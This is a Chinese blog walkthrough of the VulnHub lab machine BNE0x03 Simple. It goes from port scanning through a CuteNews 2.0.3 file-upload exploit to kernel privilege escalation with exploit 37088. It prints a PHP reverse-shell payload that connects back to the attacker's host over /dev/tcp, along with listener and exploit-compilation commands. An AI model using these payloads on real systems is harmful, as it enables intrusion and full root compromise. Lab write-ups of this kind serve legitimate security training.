红队打靶:BNE0X03_SIMPLE打靶思路详解(vulnhub)

目录

写在开头

第一步:主机发现与端口扫描

第二步:Web渗透

第三步:文件上传获取shell

第四步:内核提权

总结与思考

写在开头

本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的非常简单,但却是一个标准攻击链的靶机。本文的打靶过程涉及到关于cms漏洞利用、文件上传漏洞、内核提权等。完整打靶思路详见:

「红队笔记」靶机精讲:BNE0x03Simple - 内核提权需要考虑哪些?这些窘境你遇到过吗?怎么处理的?_哔哩哔哩_bilibili 本文针对的靶机源于vulnhub,详情见:

 SecTalks: BNE0x03 - Simple ~ VulnHub

 靶机下载链接见:

https://download.vulnhub.com/sectalks/Simple.ova

本靶机的目标是拿到root权限并读取/root/flag.txt。下载成功后用vmware打开,网络适配器设置为NAT模式。靶机打开之后如图:

第一步:主机发现与端口扫描

常规思路,发现仅仅开放了80端口。懒得具体讲了。

nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.138
nmap -sT -sV -O -sC -p80 10.10.10.138
nmap -sU --min-rate 10000 -p- 10.10.10.138
nmap --script=vuln -p80 10.10.10.138

第二步:Web渗透

浏览器访问靶机ip,发现是一个登录界面:

 如果能够登录,应该能获得更多有利信息。发现登录框的常见思路:弱口令/默认口令/注入/搜索相关漏洞或寻找其他信息/爆破。 由于此处显示了cms及其版本是CuteNews2.0.3,我们不妨先searchspoit搜索一番:

searchsploit CuteNews 2.0.3

 成功搜到了一个任意文件上传的漏洞利用文件。如果能够任意文件上传,那么我们可以上传一个反弹shell的payload然后触发执行获取shell。先把这个37474.txt下载下来:

searchsploit -m 37474

 查看这个37474.txt:

 大概讲述了漏洞利用的全过程,即注册一个账号,登录后访问Personal options并上传shell.php,即可在路径/cutenews/uploads/目录找到我们上传的shell,并触发执行。

第三步:文件上传获取shell

 那就按照漏洞利用文件的提示,一步一步做吧。首先回到web界面注册账号(点击register),跳转到下面的页面:

 随便注册一个账号,点击Register,直接登录进入了界面:

点击Personal option即可:

 可以看到这个界面有文件上传的位置,我们直接再次上传shell,内容是php的反弹shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

 在uploads/目录下确实可以看到我们上传的shell

开启nc监听1234端口:

nc -lvnp 1234  

 点击avater_a_shell.php的路径直接成功触发反弹shell了:

第四步:内核提权

首先sudo -l 查看权限,发现提示没有tty,然后再用python建立交互性更好的shell,结果发现sudo -l要输入密码,此路不通了。

 由于仅仅开放了80端口,搜索敏感信息的意义也就很小了(无法ssh)。应该是必须使用这个shell进行提取,再查看定时任务,也没啥收获

 看了只能试试内核提取了,先查看内核版本:

uname -a

 Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu

我们再次searchspoit搜索对应版本的提取漏洞:

searchsploit kernel 3.16.0-generic |grep "Privilege Escalation"

 这里没有太多技巧,只能尽可能选择版本最为匹配的漏洞利用文件。最好是选择ubuntu 14.04系统的提权漏洞。几次尝试都没找见合适的,于是我重新用Ubuntu 14.04进行搜索:

searchsploit Ubuntu 14.04 |grep "Privilege Escalation" 

 从第一个开始尝试,恰巧第一个就是可以提权的脚本。下载下来37088.c后查看这个文件:

 没有什么特殊的编译方式,直接gcc即可,我这里还改了个名,把37088.c重命名为了apport-race.c:

mv 37088.c apport-race.c

 然后启动一个端口开启http服务,这里就用php了:

然后在靶机中进入/tmp目录,把提权文件apport-race.c从kali中下载下来:

 下载成功:

 然后编译并允许即可提权:

gcc apport-race.c -o apport-race
./apport-race

 红队笔记大佬这里用的是36746。应该有多个内核提权的漏洞利用脚本可以使用。不过他searchspoit搜索的关键词是apport,我感觉有点费解。

最后进入/root目录下找到flag:

 至此打靶完成。

总结与思考

 这个靶机比较简单,就是cms漏洞利用,上传shell并触发反弹shell再内核提权。但这却是经典的攻击链之一。由于cms漏洞利用的文件37474给了我们非常完善的提示,使得靶机的难度进一步下降。哪怕没有这个文件,我们也应该找到登录cms的方式并寻找文件上传的位置。关于上传文件的存储位置,也可以通过目录爆破进行寻找。最后总结一下打靶思路:

1.主机发现与端口扫描:仅仅开放了80端口。

2.Web渗透:发现靶机ip是一个登录界面,cms为CuteCMS 2.0.3,搜索这个cms可找到利用文件。

3.文件上传获取shell:按照cms的漏洞利用文件一步一步操作,最终成功上传shell并触发代码执行,获得反弹shell。

4.内核提权:由于仅仅开放了80端口,因此我们只能通过当前的shell提权。查看当前用户的权限和定时任务无果后,采用了内核提权。尝试了多个脚本最终发现37088可以成功提权。

  到此这个靶机就讲解完毕了。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/131860712